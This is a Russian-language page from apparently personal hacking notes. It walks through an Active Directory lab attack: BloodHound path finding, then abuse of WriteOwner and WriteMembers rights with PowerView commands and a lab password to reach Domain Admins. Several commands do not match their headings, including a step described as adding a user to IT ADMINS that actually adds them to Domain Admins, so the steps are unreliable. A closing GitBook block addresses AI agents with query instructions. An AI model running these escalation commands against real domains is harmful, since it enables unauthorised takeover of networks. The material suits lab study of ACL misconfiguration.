> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md).

# Анализ с помощью BloodHound

После создания уязвимых объектов можно снова запустить сбор SharpHound:

{% code overflow="wrap" %}

```powershell
 . ./SharpHound.exe
```

{% endcode %}

<figure><img src="/files/1c2100d67058d9d0b51c2231e551097d25d6b42f" alt=""><figcaption></figcaption></figure>

SharpHound генерирует `.zip` файле.

Затем запускаем BloodHound:

{% code overflow="wrap" %}

```powershell
bloodhound --no-sandbox &
```

{% endcode %}

Затем мы импортируем `.zip` файл в BloodHound.

После импорта мы можем увидеть:

* новых пользователей;
* новые группы;
* новые ACL;
* пути повышения привилегий;
* отношения между объектами.

<figure><img src="/files/904d3368c7ddf2af4c64c203a58831af139dc366" alt=""><figcaption></figcaption></figure>

### Поиск пути к Domain Admin

<figure><img src="/files/df8ee620aaec19b24258f9c1765caddbf1f11c57" alt=""><figcaption></figcaption></figure>

В BloodHound мы используем анализ:

{% code overflow="wrap" %}

```bash
Найти кратчайшие пути к Domain Admins
```

{% endcode %}

<figure><img src="/files/891485e70129263259d51129710d2f4863749be9" alt=""><figcaption></figcaption></figure>

Этот запрос находит кратчайшие пути к группе администраторов домена.

В лаборатории BloodHound показывает, например, группу:

```bash
IT ADMINS
```

<figure><img src="/files/e77320e0dbe008c540f1409738fb3d954ffc885c" alt=""><figcaption></figcaption></figure>

Эта группа содержит нескольких пользователей, таких как:

```bash
Deidre Corry
Lisette.pru
Gypsy.nelle
```

<figure><img src="/files/8eef9d24b1cfd8edbf2957fa1bac13437c075671" alt=""><figcaption></figcaption></figure>

Затем мы можем анализировать отношения между группами, например:

```wasm
Project Management -> IT ADMINS -> Domain Admins
```

Цель состоит в том, чтобы понять, как ошибка в конфигурации прав может привести к привилегированной группе.

<figure><img src="/files/acc2410c2ed043c1944dcbe35da9ee01baaed480" alt=""><figcaption></figcaption></figure>

### Эксплуатация плохой конфигурации ACL

> Этот шаг выполняется только в авторизованной лаборатории.

В этом сценарии пользователь `monica.cora` имеет рабочий путь к группе:

```
IT ADMINS
```

Мы воспользуемся нашими правами, чтобы взять под контроль эту группу, а затем продвинуться к более привилегированной группе.

<figure><img src="/files/acd95aa0e1a66272376ec6fcdf0ed7e1b90f9bf0" alt=""><figcaption></figcaption></figure>

### Подключение с пользователем monica.cora

<figure><img src="/files/7227e8d984ee910f511305a4e3ede85cdfbe62a4" alt=""><figcaption></figcaption></figure>

Мы подключаемся с пользователем:

{% code overflow="wrap" %}

```
monica.cora
```

{% endcode %}

Пароль, использованный в лаборатории:

```
Password123$
```

Мы открываем сеанс PowerShell с этим пользователем:

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">runas /user:whoami/monica.cora /netonly powershell

<strong>. C:/Users/user1/Desktop/PowerView.ps1
</strong></code></pre>

Объяснение:

* `runas` запускает программу от имени другого пользователя;
* `/netonly` использует эти учетные данные только для сетевого доступа;
* `powershell` открывает новый сеанс PowerShell.

### Загрузка PowerView

В новом сеансе PowerShell:

{% code overflow="wrap" %}

```bash
Set-DomainObjectOwner -Identity "IT ADMINS" -OwnerIdentity monica.cora
```

{% endcode %}

Это загружает PowerView в `monica.cora`сеанс 's.

<figure><img src="/files/c0c04cc9fd831a0b1ce52296817a09f2b3938624" alt=""><figcaption></figcaption></figure>

### Эксплуатация права WriteOwner

У **WriteOwner** право позволяет вам изменить владельца объекта Active Directory.

В этом сценарии, `monica.cora` становится владельцем группы:

```
IT ADMINS
```

<figure><img src="/files/4cc64d8622ecb5f956f954855698581999448968" alt=""><figcaption></figcaption></figure>

Порядок :

{% code overflow="wrap" %}

```powershell
Add-DomainObjectAcl -TargetIdentity "IT ADMINS" -Rights WriteMembers -PrincipalIdentity monica.cora
```

{% endcode %}

После этого шага владельцем объекта становится:

```
WHOAMI/monica.cora
```

<figure><img src="/files/735a24e5210c77fea1eb1b322dcf738379107516" alt=""><figcaption></figcaption></figure>

### Добавлено право WriteMembers

Владение объектом обычно позволяет изменять его DACL.

Поэтому мы добавляем к `monica.cora` право изменять участников `IT ADMINS` группе.

{% code overflow="wrap" %}

```powershell
Add-DomainGroupMember -Identity 'IT ADMINS' -Members 'monica.cora'
```

{% endcode %}

Это право позволяет `monica.cora` добавлять участников в `IT ADMINS` группе.

<figure><img src="/files/3f286305fb5f735962e6fac2ba7c38a2c31ed4a7" alt=""><figcaption></figcaption></figure>

### monica.cora добавлен в группу IT ADMINS

Теперь мы добавляем `monica.cora` в группу:

{% code overflow="wrap" %}

```powershell
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'monica.cora'
```

{% endcode %}

Чтобы проверить:

```wasm
Get-DomainGroupMember -Identity "IT ADMINS" | select MemberName
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
